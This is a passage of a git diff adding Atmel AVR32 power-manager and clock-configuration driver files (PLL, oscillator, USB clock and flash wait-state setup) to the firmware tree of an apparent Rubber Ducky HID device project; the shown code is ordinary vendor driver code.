the Power Manager (i.e. &AVR32_PM). + * + * \return Triggering threshold of the BOD. See the electrical characteristics + * in the part datasheet for actual voltage levels. + */ +extern unsigned long pm_bod_get_level(volatile avr32_pm_t *pm); + + +/*! + * \brief Read the content of the PM GPLP registers + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param gplp GPLP register index (0,1,... depending on the number of GPLP registers for a given part) + * + * \return The content of the chosen GPLP register. + */ +extern unsigned long pm_read_gplp(volatile avr32_pm_t *pm, unsigned long gplp); + + +/*! + * \brief Write into the PM GPLP registers + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param gplp GPLP register index (0,1,... depending on the number of GPLP registers for a given part) + * \param value Value to write + */ +extern void pm_write_gplp(volatile avr32_pm_t *pm, unsigned long gplp, unsigned long value); + + +/*! \brief Enable the clock of a module. + * + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param module The module to clock (use one of the defines in the part-specific + * header file under "toolchain folder"/avr32/inc(lude)/avr32/; depending on the + * clock domain, look for the sections "CPU clocks", "HSB clocks", "PBx clocks") + * + * \return Status. + * \retval 0 Success. + * \retval <0 An error occured. + */ +extern long pm_enable_module(volatile avr32_pm_t *pm, unsigned long module); + +/*! \brief Disable the clock of a module. + * + * \param pm Base address of the Power Manager (i.e. &AVR32_PM) + * \param module The module to shut down (use one of the defines in the part-specific + * header file under "toolchain folder"/avr32/inc(lude)/avr32/; depending on the + * clock domain, look for the sections "CPU clocks", "HSB clocks", "PBx clocks") + * + * \return Status. + * \retval 0 Success. + * \retval <0 An error occured. + */ +extern long pm_disable_module(volatile avr32_pm_t *pm, unsigned long module); + + + +/*! \brief Automatically configure the CPU, PBA, PBB, and HSB clocks + * according to the user wishes. + * + * This function needs some parameters stored in a pm_freq_param_t structure: + * - cpu_f and pba_f are the wanted frequencies, + * - osc0_f is the oscillator 0 on-board frequency (e.g. FOSC0), + * - osc0_startup is the oscillator 0 startup time (e.g. OSC0_STARTUP). + * + * The function will then configure the clocks using the following rules: + * - It first try to find a valid PLL frequency (the highest possible value to avoid jitter) in order + * to satisfy the CPU frequency, + * - It optimizes the configuration depending the various divide stages, + * - Then, the PBA frequency is configured from the CPU freq. + * - Note that HSB and PBB are configured with the same frequency as CPU. + * - Note also that the number of wait states of the flash read accesses is automatically set-up depending + * the CPU frequency. As a consequence, the application needs the FLASHC driver to compile. + * + * The CPU, HSB and PBA frequencies programmed after configuration are stored back into cpu_f and pba_f. + * + * \param param pointer on the configuration structure. + * + * \retval PM_FREQ_STATUS_OK Mode successfully initialized. + * \retval PM_FREQ_STATUS_FAIL The configuration can not be done. + */ +extern int pm_configure_clocks(pm_freq_param_t *param); + + +/*! \brief Automatically configure the USB clock. + * + * USB clock is configured to 48MHz, using the PLL1 from the Oscillator0, assuming + * a 12 MHz crystal is connected to it. + */ +extern void pm_configure_usb_clock(void); + + +#endif // _PM_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/pm/pm_conf_clocks.c b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/pm/pm_conf_clocks.c new file mode 100755 index 0000000..2a73ae7 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/pm/pm_conf_clocks.c @@ -0,0 +1,266 @@ +/*This file has been prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief Power Manager clocks configuration helper. + * + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + *****************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#include +#include "compiler.h" +#include "pm.h" + +extern void flashc_set_wait_state(unsigned int wait_state); +#if (defined AVR32_FLASHC_210_H_INCLUDED) +extern void flashc_issue_command(unsigned int command, int page_number); +#endif + + +#define PM_MAX_MUL ((1 << AVR32_PM_PLL0_PLLMUL_SIZE) - 1) + + +int pm_configure_clocks(pm_freq_param_t *param) +{ + // Supported frequencies: + // Fosc0 mul div PLL div2_en cpu_f pba_f Comment + // 12 15 1 192 1 12 12 + // 12 9 3 40 1 20 20 PLL out of spec + // 12 15 1 192 1 24 12 + // 12 9 1 120 1 30 15 + // 12 9 3 40 0 40 20 PLL out of spec + // 12 15 1 192 1 48 12 + // 12 15 1 192 1 48 24 + // 12 8 1 108 1 54 27 + // 12 9 1 120 1 60 15 + // 12 9 1 120 1 60 30 + // 12 10 1 132 1 66 16.5 + // + unsigned long in_cpu_f = param->cpu_f; + unsigned long in_osc0_f = param->osc0_f; + unsigned long mul, div, div2_en = 0, div2_cpu = 0, div2_pba = 0; + unsigned long pll_freq, rest; + Bool b_div2_pba, b_div2_cpu; + + // Switch to external Oscillator 0 + pm_switch_to_osc0(&AVR32_PM, in_osc0_f, param->osc0_startup); + + // Start with CPU freq config + if (in_cpu_f == in_osc0_f) + { + param->cpu_f = in_osc0_f; + param->pba_f = in_osc0_f; + return PM_FREQ_STATUS_OK; + } + else if (in_cpu_f < in_osc0_f) + { + // TBD + } + + rest = in_cpu_f % in_osc0_f; + + for (div = 1; div < 32; div++) + { + if ((div * rest) % in_osc0_f == 0) + break; + } + if (div == 32) + return PM_FREQ_STATUS_FAIL; + + mul = (in_cpu_f * div) / in_osc0_f; + + if (mul > PM_MAX_MUL) + return PM_FREQ_STATUS_FAIL; + + // export 2power from PLL div to div2_cpu + while (!(div % 2)) + { + div /= 2; + div2_cpu++; + } + + // Here we know the mul and div parameter of the PLL config. + // . Check out if the PLL has a valid in_cpu_f. + // . Try to have for the PLL frequency (VCO output) the highest possible value + // to reduce jitter. + while (in_osc0_f * 2 * mul / div < AVR32_PM_PLL_VCO_RANGE0_MAX_FREQ) + { + if (2 * mul > PM_MAX_MUL) + break; + mul *= 2; + div2_cpu++; + } + + if (div2_cpu != 0) + { + div2_cpu--; + div2_en = 1; + } + + pll_freq = in_osc0_f * mul / (div * (1 << div2_en)); + + // Update real CPU Frequency + param->cpu_f = pll_freq / (1 << div2_cpu); + mul--; + + pm_pll_setup(&AVR32_PM + , 0 // pll + , mul // mul + , div // div + , 0 // osc + , 16 // lockcount + ); + + pm_pll_set_option(&AVR32_PM + , 0 // pll + // PLL clock is lower than 160MHz: need to set pllopt. + , (pll_freq < AVR32_PM_PLL_VCO_RANGE0_MIN_FREQ) ? 1 : 0 // pll_freq + , div2_en // pll_div2 + , 0 // pll_wbwdisable + ); + + rest = pll_freq; + while (rest > AVR32_PM_PBA_MAX_FREQ || + rest != param->pba_f) + { + div2_pba++; + rest = pll_freq / (1 << div2_pba); + if (rest < param->pba_f) + break; + } + + // Update real PBA Frequency + param->pba_f = pll_freq / (1 << div2_pba); + + // Enable PLL0 + pm_pll_enable(&AVR32_PM, 0); + + // Wait for PLL0 locked + pm_wait_for_pll0_locked(&AVR32_PM); + + if (div2_cpu) + { + b_div2_cpu = TRUE; + div2_cpu--; + } + else + b_div2_cpu = FALSE; + + if (div2_pba) + { + b_div2_pba = TRUE; + div2_pba--; + } + else + b_div2_pba = FALSE; + + pm_cksel(&AVR32_PM + , b_div2_pba, div2_pba // PBA + , b_div2_cpu, div2_cpu // PBB + , b_div2_cpu, div2_cpu // HSB + ); + + if (param->cpu_f > AVR32_FLASHC_FWS_0_MAX_FREQ) + { + flashc_set_wait_state(1); +#if (defined AVR32_FLASHC_210_H_INCLUDED) + if (param->cpu_f > AVR32_FLASHC_HSEN_FWS_1_MAX_FREQ) + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_HSEN, -1); + else + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_HSDIS, -1); +#endif + } + else + { + flashc_set_wait_state(0); +#if (defined AVR32_FLASHC_210_H_INCLUDED) + if (param->cpu_f > AVR32_FLASHC_HSEN_FWS_0_MAX_FREQ) + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_HSEN, -1); + else + flashc_issue_command(AVR32_FLASHC_FCMD_CMD_HSDIS, -1); +#endif + } + + pm_switch_to_clock(&AVR32_PM, AVR32_PM_MCCTRL_MCSEL_PLL0); + + return PM_FREQ_STATUS_OK; +} + + +void pm_configure_usb_clock(void) +{ +#if UC3A3 + + // Setup USB GCLK. + pm_gc_setup(&AVR32_PM, AVR32_PM_GCLK_USBB, // gc + 0, // osc_or_pll: use Osc (if 0) or PLL (if 1) + 0, // pll_osc: select Osc0/PLL0 or Osc1/PLL1 + 0, // diven + 0); // div + + // Enable USB GCLK. + pm_gc_enable(&AVR32_PM, AVR32_PM_GCLK_USBB); +#else + // Use 12MHz from OSC0 and generate 96 MHz + pm_pll_setup(&AVR32_PM, 1, // pll. + 7, // mul. + 1, // div. + 0, // osc. + 16); // lockcount. + + pm_pll_set_option(&AVR32_PM, 1, // pll. + 1, // pll_freq: choose the range 80-180MHz. + 1, // pll_div2. + 0); // pll_wbwdisable. + + // start PLL1 and wait forl lock + pm_pll_enable(&AVR32_PM, 1); + + // Wait for PLL1 locked. + pm_wait_for_pll1_locked(&AVR32_PM); + + pm_gc_setup(&AVR32_PM, AVR32_PM_GCLK_USBB, // gc. + 1, // osc_or_pll: use Osc (if 0) or PLL (if 1). + 1, // pll_osc: select Osc0/PLL0 or Osc1/PLL1. + 0, // diven. + 0); // div. + pm_gc_enable(&AVR32_PM, AVR32_PM_GCLK_USBB); +#endif +} diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/pm/power_clocks_lib.c b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/pm/power_clocks_lib.c new file mode 100755 index 0000000..e312d1a --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/pm/power_clocks_lib.c @@ -0,0 +1,575 @@ +/*This file has been prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief High-level library abstracting features such as oscillators/pll/dfll + * configuration, clock configuration, System-sensible parameters + * configuration, buses clocks configuration, sleep mode, reset. + * + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + *****************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ +#include "power_clocks_lib.h" + + +//! Device-specific data +#if UC3L +static long int pcl_configure_clocks_uc3l(pcl_freq_param_t *param); // FORWARD declaration +#endif + +#if UC3C +static long int pcl_configure_clocks_uc3c(pcl_freq_param_t *param); // FORWARD declaration +#endif + +long int pcl_configure_clocks(pcl_freq_param_t *param) +{ +#ifndef AVR32_PM_VERSION_RESETVALUE + // Implementation for UC3A, UC3A3, UC3B parts. + return(pm_configure_clocks(param)); +#else + #if (defined AVR32_PM_410_H_INCLUDED ) || (defined AVR32_PM_412_H_INCLUDED ) + // Implementation for UC3C parts. + return(pcl_configure_clocks_uc3c(param)); + #else + // Implementation for UC3L parts. + return(pcl_configure_clocks_uc3l(param)); + #endif +#endif +} + + +//! Device-specific implementation +#if UC3L +// FORWARD declaration +static long int pcl_configure_synchronous_clocks( pm_clk_src_t main_clk_src, + unsigned long main_clock_freq_hz, + pcl_freq_param_t *param); + +long int pcl_configure_clocks_rcsys(pcl_freq_param_t *param) +{ + // Supported main clock sources: PCL_MC_RCSYS + + // Supported synchronous clocks frequencies if RCSYS is the main clock source: + // 115200Hz, 57600Hz, 28800Hz, 14400Hz, 7200Hz, 3600Hz, 1800Hz, 900Hz, 450Hz. + + // NOTE: by default, this implementation doesn't perform thorough checks on the + // input parameters. To enable the checks, define AVR32SFW_INPUT_CHECK. + +#ifdef AVR32SFW_INPUT_CHECK + // Verify that fCPU >= fPBx + if((param->cpu_f < param->pba_f) || (param->cpu_f < param->pbb_f)) + return(-1); +#endif + +#ifdef AVR32SFW_INPUT_CHECK + // Verify that the target frequencies are reachable. + if((param->cpu_f > SCIF_SLOWCLOCK_FREQ_HZ) || (param->pba_f > SCIF_SLOWCLOCK_FREQ_HZ) + || (param->pbb_f > SCIF_SLOWCLOCK_FREQ_HZ)) + return(-1); +#endif + + return(pcl_configure_synchronous_clocks(PM_CLK_SRC_SLOW, SCIF_SLOWCLOCK_FREQ_HZ, param)); +} + + +long int pcl_configure_clocks_rc120m(pcl_freq_param_t *param) +{ + // Supported main clock sources: PCL_MC_RC120M + + // Supported synchronous clocks frequencies if RC120M is the main clock source: + // 30MHz, 15MHz, 7.5MHz, 3.75MHz, 1.875MHz, 937.5kHz, 468.75kHz. + + // NOTE: by default, this implementation doesn't perform thorough checks on the + // input parameters. To enable the checks, define AVR32SFW_INPUT_CHECK. + +#ifdef AVR32SFW_INPUT_CHECK + // Verify that fCPU >= fPBx + if((param->cpu_f < param->pba_f) || (param->cpu_f < param->pbb_f)) + return(-1); +#endif + +#ifdef AVR32SFW_INPUT_CHECK + // Verify that the target frequencies are reachable. + if((param->cpu_f > SCIF_RC120M_FREQ_HZ) || (param->pba_f > SCIF_RC120M_FREQ_HZ) + || (param->pbb_f > SCIF_RC120M_FREQ_HZ)) + return(-1); +#endif + + // Start the 120MHz internal RCosc (RC120M) clock + scif_start_rc120M(); + + return(pcl_configure_synchronous_clocks(PM_CLK_SRC_RC120M, SCIF_RC120M_FREQ_HZ, param)); +} + + +long int pcl_configure_clocks_osc0(pcl_freq_param_t *param) +{ + // Supported main clock sources: PCL_MC_OSC0 + + // Supported synchronous clocks frequencies if OSC0 is the main clock source: + // (these obviously depend on the OSC0 frequency; we'll take 16MHz as an example) + // 16MHz, 8MHz, 4MHz, 2MHz, 1MHz, 500kHz, 250kHz, 125kHz, 62.5kHz. + + // NOTE: by default, this implementation doesn't perform thorough checks on the + // input parameters. To enable the checks, define AVR32SFW_INPUT_CHECK. + + unsigned long main_clock_freq; + + +#ifdef AVR32SFW_INPUT_CHECK + // Verify that fCPU >= fPBx + if((param->cpu_f < param->pba_f) || (param->cpu_f < param->pbb_f)) + return(-1); +#endif + + main_clock_freq = param->osc0_f; +#ifdef AVR32SFW_INPUT_CHECK + // Verify that the target frequencies are reachable. + if((param->cpu_f > main_clock_freq) || (param->pba_f > main_clock_freq) + || (param->pbb_f > main_clock_freq)) + return(-1); +#endif + // Configure OSC0 in crystal mode, external crystal with a fcrystal Hz frequency. + scif_configure_osc_crystalmode(SCIF_OSC0, main_clock_freq); + // Enable the OSC0 + scif_enable_osc(SCIF_OSC0, param->osc0_startup, true); + + return(pcl_configure_synchronous_clocks(PM_CLK_SRC_OSC0, main_clock_freq, param)); +} + + +long int pcl_configure_clocks_dfll0(pcl_freq_param_t *param) +{ + // Supported main clock sources: PCL_MC_DFLL + + // Supported synchronous clocks frequencies if DFLL is the main clock source: + // (these obviously depend on the DFLL target frequency; we'll take 100MHz as an example) + // 50MHz, 25MHz, 12.5MHz, 6.25MHz, 3.125MHz, 1562.5kHz, 781.25kHz, 390.625kHz. + + // NOTE: by default, this implementation doesn't perform thorough checks on the + // input parameters. To enable the checks, define AVR32SFW_INPUT_CHECK. + + unsigned long main_clock_freq; + scif_gclk_opt_t *pgc_dfllif_ref_opt; + + +#ifdef AVR32SFW_INPUT_CHECK + // Verify that fCPU >= fPBx + if((param->cpu_f < param->pba_f) || (param->cpu_f < param->pbb_f)) + return(-1); +#endif + + main_clock_freq = param->dfll_f; +#ifdef AVR32SFW_INPUT_CHECK + // Verify that the target DFLL output frequency is in the correct range. + if((main_clock_freq > SCIF_DFLL_MAXFREQ_HZ) || (main_clock_freq < SCIF_DFLL_MINFREQ_HZ)) + return(-1); + // Verify that the target frequencies are reachable. + if((param->cpu_f > main_clock_freq) || (param->pba_f > main_clock_freq) + || (param->pbb_f > main_clock_freq)) + return(-1); +#endif + pgc_dfllif_ref_opt = (scif_gclk_opt_t *)param->pextra_params; + // Implementation note: this implementation configures the DFLL in closed-loop + // mode (because it gives the best accuracy) which enables the generic clock CLK_DFLLIF_REF + // as a reference (RCSYS being used as the generic clock source, undivided). + scif_dfll0_closedloop_configure_and_start(pgc_dfllif_ref_opt, main_clock_freq, TRUE); + + return(pcl_configure_synchronous_clocks(PM_CLK_SRC_DFLL0, main_clock_freq, param)); +} + + +static long int pcl_configure_clocks_uc3l(pcl_freq_param_t *param) +{ + // Supported main clock sources: PCL_MC_RCSYS, PCL_MC_OSC0, PCL_MC_DFLL0, PCL_MC_RC120M + + // Supported synchronous clocks frequencies if RCSYS is the main clock source: + // 115200Hz, 57600Hz, 28800Hz, 14400Hz, 7200Hz, 3600Hz, 1800Hz, 900Hz, 450Hz. + + // Supported synchronous clocks frequencies if RC120M is the main clock source: + // 30MHz, 15MHz, 7.5MHz, 3.75MHz, 1.875MHz, 937.5kHz, 468.75kHz. + + // Supported synchronous clocks frequencies if OSC0 is the main clock source: + // (these obviously depend on the OSC0 frequency; we'll take 16MHz as an example) + // 16MHz, 8MHz, 4MHz, 2MHz, 1MHz, 500kHz, 250kHz, 125kHz, 62.5kHz. + + // Supported synchronous clocks frequencies if DFLL is the main clock source: + // (these obviously depend on the DFLL target frequency; we'll take 100MHz as an example) + // 50MHz, 25MHz, 12.5MHz, 6.25MHz, 3.125MHz, 1562.5kHz, 781.25kHz, 390.625kHz. + + // NOTE: by default, this implementation doesn't perform thorough checks on the + // input parameters. To enable the checks, define AVR32SFW_INPUT_CHECK. + + +#ifdef AVR32SFW_INPUT_CHECK + // Verify that fCPU >= fPBx + if((param->cpu_f < param->pba_f) || (param->cpu_f < param->pbb_f)) + return(-1); +#endif + + if(PCL_MC_RCSYS == param->main_clk_src) + { + return(pcl_configure_clocks_rcsys(param)); + } + else if(PCL_MC_RC120M == param->main_clk_src) + { + return(pcl_configure_clocks_rc120m(param)); + } + else if(PCL_MC_OSC0 == param->main_clk_src) + { + return(pcl_configure_clocks_osc0(param)); + } + else // PCL_MC_DFLL0 == param->main_clk_src + { + return(pcl_configure_clocks_dfll0(param)); + } +} + +static long int pcl_configure_synchronous_clocks(pm_clk_src_t main_clk_src, unsigned long main_clock_freq_hz, pcl_freq_param_t *param) +{ + //# + //# Set the Synchronous clock division ratio for each clock domain + //# + pm_set_all_cksel(main_clock_freq_hz, param->cpu_f, param->pba_f, param->pbb_f); + + //# + //# Set the Flash wait state and the speed read mode (depending on the target CPU frequency). + //# +#if UC3L + flashcdw_set_flash_waitstate_and_readmode(param->cpu_f); +#elif UC3C + flashc_set_flash_waitstate_and_readmode(param->cpu_f); +#endif + + + //# + //# Switch the main clock source to the selected clock. + //# + pm_set_mclk_source(main_clk_src); + + return PASS; +} + +#endif // UC3L device-specific implementation + +//! UC3C Device-specific implementation +#if UC3C +static long int pcl_configure_clocks_uc3c(pcl_freq_param_t *param) +{ + #define PM_MAX_MUL ((1 << AVR32_SCIF_PLLMUL_SIZE) - 1) + #define AVR32_PM_PBA_MAX_FREQ 66000000 + #define AVR32_PM_PLL_VCO_RANGE0_MAX_FREQ 240000000 + #define AVR32_PM_PLL_VCO_RANGE0_MIN_FREQ 160000000 + + // Implementation for UC3C parts. + // Supported frequencies: + // Fosc0 mul div PLL div2_en cpu_f pba_f Comment + // 12 15 1 192 1 12 12 + // 12 9 3 40 1 20 20 PLL out of spec + // 12 15 1 192 1 24 12 + // 12 9 1 120 1 30 15 + // 12 9 3 40 0 40 20 PLL out of spec + // 12 15 1 192 1 48 12 + // 12 15 1 192 1 48 24 + // 12 8 1 108 1 54 27 + // 12 9 1 120 1 60 15 + // 12 9 1 120 1 60 30 + // 12 10 1 132 1 66 16.5 + // + unsigned long in_cpu_f = param->cpu_f; + unsigned long in_osc0_f = param->osc0_f; + unsigned long mul, div, div2_en = 0, div2_cpu = 0, div2_pba = 0; + unsigned long pll_freq, rest; + Bool b_div2_pba, b_div2_cpu; + + // Configure OSC0 in crystal mode, external crystal with a FOSC0 Hz frequency. + scif_configure_osc_crystalmode(SCIF_OSC0, in_osc0_f); + // Enable the OSC0 + scif_enable_osc(SCIF_OSC0, param->osc0_startup, true); + // Set the main clock source as being OSC0. + pm_set_mclk_source(PM_CLK_SRC_OSC0); + + // Start with CPU freq config + if (in_cpu_f == in_osc0_f) + { + param->cpu_f = in_osc0_f; + param->pba_f = in_osc0_f; + return PASS; + } + else if (in_cpu_f < in_osc0_f) + { + // TBD + } + + rest = in_cpu_f % in_osc0_f; + + for (div = 1; div < 32; div++) + { + if ((div * rest) % in_osc0_f == 0) + break; + } + if (div == 32) + return FAIL; + + mul = (in_cpu_f * div) / in_osc0_f; + + if (mul > PM_MAX_MUL) + return FAIL; + + // export 2power from PLL div to div2_cpu + while (!(div % 2)) + { + div /= 2; + div2_cpu++; + } + + // Here we know the mul and div parameter of the PLL config. + // . Check out if the PLL has a valid in_cpu_f. + // . Try to have for the PLL frequency (VCO output) the highest possible value + // to reduce jitter. + while (in_osc0_f * 2 * mul / div < AVR32_PM_PLL_VCO_RANGE0_MAX_FREQ) + { + if (2 * mul > PM_MAX_MUL) + break; + mul *= 2; + div2_cpu++; + } + + if (div2_cpu != 0) + { + div2_cpu--; + div2_en = 1; + } + + pll_freq = in_osc0_f * mul / (div * (1 << div2_en)); + + // Update real CPU Frequency + param->cpu_f = pll_freq / (1 << div2_cpu); + mul--; + + scif_pll_opt_t opt; + + opt.osc = SCIF_OSC0, // Sel Osc0 or Osc1 + opt.lockcount = 16, // lockcount in main clock for the PLL wait lock + opt.div = div, // DIV=1 in the formula + opt.mul = mul, // MUL=7 in the formula + opt.pll_div2 = div2_en, // pll_div2 Divide the PLL output frequency by 2 (this settings does not change the FVCO value) + opt.pll_wbwdisable = 0, //pll_wbwdisable 1 Disable the Wide-Bandith Mode (Wide-Bandwith mode allow a faster startup time and out-of-lock time). 0 to enable the Wide-Bandith Mode. + opt.pll_freq = (pll_freq < AVR32_PM_PLL_VCO_RANGE0_MIN_FREQ) ? 1 : 0, // Set to 1 for VCO frequency range 80-180MHz, set to 0 for VCO frequency range 160-240Mhz. + + + scif_pll_setup(SCIF_PLL0, opt); // lockcount in main clock for the PLL wait lock + + /* Enable PLL0 */ + scif_pll_enable(SCIF_PLL0); + + /* Wait for PLL0 locked */ + scif_wait_for_pll_locked(SCIF_PLL0) ; + + rest = pll_freq; + while (rest > AVR32_PM_PBA_MAX_FREQ || + rest != param->pba_f) + { + div2_pba++; + rest = pll_freq / (1 << div2_pba); + if (rest < param->pba_f) + break; + } + + // Update real PBA Frequency + param->pba_f = pll_freq / (1 << div2_pba); + + + if (div2_cpu) + { + b_div2_cpu = TRUE; + div2_cpu--; + } + else + b_div2_cpu = FALSE; + + if (div2_pba) + { + b_div2_pba = TRUE; + div2_pba--; + } + else + b_div2_pba = FALSE; + + if (b_div2_cpu == TRUE ) + { + pm_set_clk_domain_div(PM_CLK_DOMAIN_0, (pm_divratio_t) div2_cpu); // CPU + pm_set_clk_domain_div(PM_CLK_DOMAIN_1, (pm_divratio_t) div2_cpu); // HSB + pm_set_clk_domain_div(PM_CLK_DOMAIN_3, (pm_divratio_t) div2_cpu); // PBB + } + if (b_div2_pba == TRUE ) + { + pm_set_clk_domain_div(PM_CLK_DOMAIN_2, (pm_divratio_t) div2_pba); // PBA + pm_set_clk_domain_div(PM_CLK_DOMAIN_4, (pm_divratio_t) div2_pba); // PBC + } + + // Set Flashc Wait State + flashc_set_flash_waitstate_and_readmode(param->cpu_f); + + // Set the main clock source as being PLL0. + pm_set_mclk_source(PM_CLK_SRC_PLL0); + + return PASS; +} +#endif // UC3C device-specific implementation + +long int pcl_switch_to_osc(pcl_osc_t osc, unsigned int fcrystal, unsigned int startup) +{ +#ifndef AVR32_PM_VERSION_RESETVALUE +// Implementation for UC3A, UC3A3, UC3B parts. + if(PCL_OSC0 == osc) + { + // Configure OSC0 in crystal mode, external crystal with a FOSC0 Hz frequency, + // enable the OSC0, set the main clock source as being OSC0. + pm_switch_to_osc0(&AVR32_PM, fcrystal, startup); + } + else + { + return PCL_NOT_SUPPORTED; + } +#else +// Implementation for UC3C, UC3L parts. + #if AVR32_PM_VERSION_RESETVALUE < 0x400 + return PCL_NOT_SUPPORTED; + #else + if(PCL_OSC0 == osc) + { + // Configure OSC0 in crystal mode, external crystal with a fcrystal Hz frequency. + scif_configure_osc_crystalmode(SCIF_OSC0, fcrystal); + // Enable the OSC0 + scif_enable_osc(SCIF_OSC0, startup, true); + // Set the Flash wait state and the speed read mode (depending on the target CPU frequency). +#if UC3L + flashcdw_set_flash_waitstate_and_readmode(fcrystal); +#elif UC3C + flashc_set_flash_waitstate_and_readmode(fcrystal); +#endif + // Set the main clock source as being OSC0. + pm_set_mclk_source(PM_CLK_SRC_OSC0); + } + else + { + return PCL_NOT_SUPPORTED; + } + #endif +#endif + return PASS; +} + +long int pcl_configure_usb_clock(void) +{ +#ifndef AVR32_PM_VERSION_RESETVALUE +// Implementation for UC3A, UC3A3, UC3B parts. + pm_configure_usb_clock(); + return PASS; +#else + #if UC3C + const scif_pll_opt_t opt = { + .osc = SCIF_OSC0, // Sel Osc0 or Osc1 + .lockcount = 16, // lockcount in main clock for the PLL wait lock + .div = 1, // DIV=1 in the formula + .mul = 5, // MUL=7 in the formula + .pll_div2 = 1, // pll_div2 Divide the PLL output frequency by 2 (this settings does not change the FVCO value) + .pll_wbwdisable = 0, //pll_wbwdisable 1 Disable the Wide-Bandith Mode (Wide-Bandwith mode allow a faster startup time and out-of-lock time). 0 to enable the Wide-Bandith Mode. + .pll_freq = 1, // Set to 1 for VCO frequency range 80-180MHz, set to 0 for VCO frequency range 160-240Mhz. + }; + + /* Setup PLL1 on Osc0, mul=7 ,no divisor, lockcount=16, ie. 16Mhzx6 = 96MHz output */ + scif_pll_setup(SCIF_PLL1, opt); // lockcount in main clock for the PLL wait lock + + /* Enable PLL1 */ + scif_pll_enable(SCIF_PLL1); + + /* Wait for PLL1 locked */ + scif_wait_for_pll_locked(SCIF_PLL1) ; + + // Implementation for UC3C parts. + // Setup the generic clock for USB + scif_gc_setup( +#if (defined AVR32_USBB) + AVR32_SCIF_GCLK_USB, +#else + AVR32_SCIF_GCLK_USBC, +#endif + SCIF_GCCTRL_PLL1, + AVR32_SCIF_GC_NO_DIV_CLOCK, + 0); + // Now enable the generic clock + scif_gc_enable( +#if (defined AVR32_USBB) + AVR32_SCIF_GCLK_USB +#else + AVR32_SCIF_GCLK_USBC +#endif + ); + return PASS; + #else + return PCL_NOT_SUPPORTED; + #endif +#endif +} + + +#if UC3L +#else +void pcl_write_gplp(unsigned long gplp, unsigned long value) +{ +#ifndef AVR32_PM_VERSION_RESETVALUE +// Implementation for UC3A, UC3A3, UC3B parts. + pm_write_gplp(&AVR32_PM,gplp,value); +#else + 